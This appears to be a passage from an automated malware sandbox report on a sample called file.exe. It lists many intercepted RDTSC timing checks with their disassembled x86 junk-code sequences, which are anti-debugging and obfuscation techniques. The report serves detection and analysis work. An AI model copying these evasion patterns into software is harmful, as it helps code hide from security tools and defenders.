FFFFFFFFh 0x0000006d or ebx, 7BD238E4h 0x00000073 nop 0x00000074 jmp 00007FEA44C4CABAh 0x00000079 push eax 0x0000007a pushad 0x0000007b push edi 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3376 second address: ED3405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007FEA44C7ED54h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D1C8Ch], esi 0x00000014 mov bl, 64h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FEA44C7ED48h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 add ebx, dword ptr [ebp+122D1C07h] 0x0000003d xor bl, 00000006h 0x00000040 mov dword ptr fs:[00000000h], esp 0x00000047 movsx edi, si 0x0000004a mov eax, dword ptr [ebp+122D1245h] 0x00000050 xor dword ptr [ebp+122D1C29h], esi 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push ebp 0x0000005b call 00007FEA44C7ED48h 0x00000060 pop ebp 0x00000061 mov dword ptr [esp+04h], ebp 0x00000065 add dword ptr [esp+04h], 00000014h 0x0000006d inc ebp 0x0000006e push ebp 0x0000006f ret 0x00000070 pop ebp 0x00000071 ret 0x00000072 mov dword ptr [ebp+122D1C07h], esi 0x00000078 nop 0x00000079 pushad 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3405 second address: ED340B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED340B second address: ED3439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEA44C7ED4Bh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FEA44C7ED53h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FEA44C7ED46h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED446F second address: ED44A2 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEA44C4CABCh 0x00000008 jne 00007FEA44C4CAB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FEA44C4CAC8h 0x00000019 jne 00007FEA44C4CAB6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EE13 second address: E6EE24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED44A2 second address: ED4527 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2CF4h], ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 sub ebx, dword ptr [ebp+122D2ADFh] 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 mov edi, 23325A8Ch 0x00000028 add ebx, dword ptr [ebp+122D19A7h] 0x0000002e mov eax, dword ptr [ebp+122D0BDDh] 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FEA44C4CAB8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push eax 0x00000053 call 00007FEA44C4CAB8h 0x00000058 pop eax 0x00000059 mov dword ptr [esp+04h], eax 0x0000005d add dword ptr [esp+04h], 00000017h 0x00000065 inc eax 0x00000066 push eax 0x00000067 ret 0x00000068 pop eax 0x00000069 ret 0x0000006a mov dword ptr [ebp+122D320Ch], esi 0x00000070 nop 0x00000071 push edx 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6EE24 second address: E6EE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4527 second address: ED452D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED452D second address: ED453A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FEEF second address: E7FF0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FEA44C4CABEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FF0A second address: E7FF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007FEA44C7ED62h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7FF1B second address: E7FF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC4D second address: EDFC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FEA44C7ED46h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC5E second address: EDFC68 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC68 second address: EDFC80 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEA44C7ED4Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC80 second address: EDFC8A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDFC8A second address: EDFCB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FEA44C7ED46h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007FEA44C7ED46h 0x00000013 jmp 00007FEA44C7ED54h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7257B second address: E72597 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FEA44C4CAB8h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF3DF second address: EDF3E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF3E5 second address: EDF3FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEA44C4CABEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF555 second address: EDF55B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF55B second address: EDF561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF6D6 second address: EDF6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007FEA44C7ED46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF6E5 second address: EDF6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF6ED second address: EDF6F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FEA44C7ED46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF80C second address: EDF826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF826 second address: EDF85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEA44C7ED55h 0x0000000c jmp 00007FEA44C7ED58h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF85E second address: EDF864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6CCC second address: EE6CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED54h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB5BE second address: EEB5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB5C2 second address: EEB604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED4Bh 0x00000007 jne 00007FEA44C7ED46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FEA44C7ED55h 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d pushad 0x0000001e push edi 0x0000001f pop edi 0x00000020 jne 00007FEA44C7ED46h 0x00000026 popad 0x00000027 push ecx 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB746 second address: EEB74C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEBA70 second address: EEBA7C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA44C7ED4Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF53ED second address: EF53F7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA44C4CAB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4724 second address: EF472A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF472A second address: EF4732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3F2D second address: EF3F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3F36 second address: EF3F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4CDC second address: EF4CF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED52h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4CF4 second address: EF4CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4CF8 second address: EF4CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4E28 second address: EF4E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF50F7 second address: EF5112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED53h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6899 second address: EF68AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEA44C4CABEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF68AF second address: EF68BF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA44C7ED52h 0x00000008 jne 00007FEA44C7ED46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBC39 second address: EFBC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBC41 second address: EFBC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBC45 second address: EFBC76 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEA44C4CAB6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEA44C4CABDh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jl 00007FEA44C4CABEh 0x0000001a jnc 00007FEA44C4CAB6h 0x00000020 push edi 0x00000021 pop edi 0x00000022 push ebx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ebx 0x00000026 push esi 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBDFF second address: EFBE03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBE03 second address: EFBE11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FEA44C4CABEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBE11 second address: EFBE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBE1D second address: EFBE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBF51 second address: EFBF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBF57 second address: EFBF81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FEA44C4CAC8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FEA44C4CAB6h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC0F7 second address: EFC101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEA44C7ED46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC28F second address: EFC2B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FEA44C4CAD2h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 ja 00007FEA44C4CAB6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC446 second address: EFC44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC44B second address: EFC450 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC5AC second address: EFC5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC718 second address: EFC71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC8D8 second address: EFC8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEA44C7ED46h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FEA44C7ED4Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC8F2 second address: EFC90E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEA44C4CAC2h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCA92 second address: EFCAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED58h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCAAF second address: EFCAB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFCEED second address: EFCEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FEA44C7ED48h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB647 second address: EFB651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEA44C4CAB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB651 second address: EFB655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB655 second address: EFB65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB65B second address: EFB661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB661 second address: EFB669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8AA1 second address: EB8AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8AA5 second address: EB8AF8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jng 00007FEA44C4CAC7h 0x00000012 jmp 00007FEA44C4CAC1h 0x00000017 nop 0x00000018 pushad 0x00000019 jmp 00007FEA44C4CABBh 0x0000001e stc 0x0000001f popad 0x00000020 lea eax, dword ptr [ebp+12481832h] 0x00000026 xor dword ptr [ebp+122D1961h], esi 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f jng 00007FEA44C4CAC2h 0x00000035 jmp 00007FEA44C4CABCh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8BA4 second address: EB8BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FEA44C7ED46h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FEA44C7ED46h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8BBD second address: EB8BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9335 second address: EB9348 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jc 00007FEA44C7ED54h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9348 second address: EB934C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB95C8 second address: EB95CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9A67 second address: EB9A8C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA44C4CAB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEA44C4CAC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00E39 second address: F00E3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010BB second address: F010C5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA44C4CABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010C5 second address: F010E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007FEA44C7ED55h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010E8 second address: F0111C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FEA44C4CAC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEA44C4CAC9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F014E9 second address: F014ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F014ED second address: F014F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F014F7 second address: F0153A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FEA44C7ED59h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jo 00007FEA44C7ED46h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0153A second address: F0154B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
